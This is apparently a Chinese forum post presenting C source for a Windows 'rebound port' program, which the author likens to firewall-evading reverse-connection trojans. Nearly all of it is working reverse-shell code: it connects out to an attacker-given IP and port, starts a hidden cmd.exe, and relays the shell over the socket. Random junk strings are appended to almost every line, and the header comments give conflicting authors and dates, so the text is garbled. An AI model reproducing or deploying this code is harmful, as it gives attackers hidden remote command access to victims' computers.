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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 m}beT~FT_  
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/* ============================== @bAu R  
Rebound port in Windows NT E8lq2r=  
By wind,2006/7 F[B=sI  
===============================*/ p9MJa[}V  
#include '!MKZKer  
#include LOwd mj  
3<1x>e2nT  
#pragma comment(lib,"wsock32.lib") qjg Z  
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void OutputShell(); zG%'Cw)8  
SOCKET sClient; QM~~b=P,\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ssH[\i  
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void main(int argc,char **argv) gTLBR  
{ o>]z~^c  
WSADATA stWsaData; m*lcIa  
int nRet; M D& 7k,!  
SOCKADDR_IN stSaiClient,stSaiServer; EACI>  
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if(argc != 3) V1Gnr~GM  
{ T}"[f/:N/  
printf("Useage:\n\rRebound DestIP DestPort\n"); }P\6}cK  
return; 3".#nN  
} d\c)cgh%  
q}z`Z/`/  
WSAStartup(MAKEWORD(2,2),&stWsaData); Zv8GrkK  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %z~kHL  
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stSaiClient.sin_family = AF_INET; 5Z:qU{[  
stSaiClient.sin_port = htons(0); 0xeY0!ux  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \W\*'C8q\  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *dC&*6Rx  
{ 6y^GMlsI  
printf("Bind Socket Failed!\n"); sfy}J1xIL  
return; Bob-qCBV  
} 2^rJ|Ni  
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stSaiServer.sin_family = AF_INET; lO0}  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Jy('tfAHp  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); I_R6 M1  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) L7.SH#m  
{ P%!=Rj^2m  
printf("Connect Error!"); Cm"S=gV  
return; LEX @hkh  
} f'M([gn^_  
OutputShell(); `UqX`MFz  
} i;juwc^n}  
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void OutputShell() $++O@C5  
{ L gy^^.  
char szBuff[1024]; {r5OtYmpR  
SECURITY_ATTRIBUTES stSecurityAttributes; .t&G^i'n  
OSVERSIONINFO stOsversionInfo; Zzb?Nbf  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bUYjmb2g)  
STARTUPINFO stStartupInfo; <:8Ew  
char *szShell; EP+LK?{%  
PROCESS_INFORMATION stProcessInformation; Z B!~@Vf  
unsigned long lBytesRead; M23r/eg]  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ua ky2SgN  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 6mgLeeY  
stSecurityAttributes.lpSecurityDescriptor = 0; *{\))Zmhd  
stSecurityAttributes.bInheritHandle = TRUE; (<e<Q~(  
MY}K.^ 4^  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 1i)3!fH0:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Jz P0D'  
Cbm^: _LR  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); GY^;$?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {.y_{yWo  
stStartupInfo.wShowWindow = SW_HIDE; 1<*U:W $g  
stStartupInfo.hStdInput = hReadPipe; H(y Gh  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Tb8r+~HK  
de TD|R  
GetVersionEx(&stOsversionInfo); dT (i*E\j  
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switch(stOsversionInfo.dwPlatformId) MpIiHKQ G9  
{ P|C5k5  
case 1: 1083p9Uh  
szShell = "command.com"; ~CdW: t  
break; d9%P[(yM^  
default: - leYR`P  
szShell = "cmd.exe"; |f.,fVVV;  
break; XGjFb4Tw7  
} {OOn7=  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~03MH'  
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send(sClient,szMsg,77,0); w8 `1'*HG  
while(1) k_Y7<z0G  
{ es=OWJt^  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !_B*Po  
if(lBytesRead) -*Th=B-  
{ m - hZ5 i  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8%xBSob{j  
send(sClient,szBuff,lBytesRead,0); 1-&L-c.  
} fc[_~I'  
else 8B5WbS fL^  
{ Z_ Y'#5o#  
lBytesRead=recv(sClient,szBuff,1024,0); l\uNh~\  
if(lBytesRead<=0) break; *JQ*$$5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1X9s\JKQ  
} g#cet{>  
} {Qn{w%!|  
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return; Ndgx@LTQQ  
}
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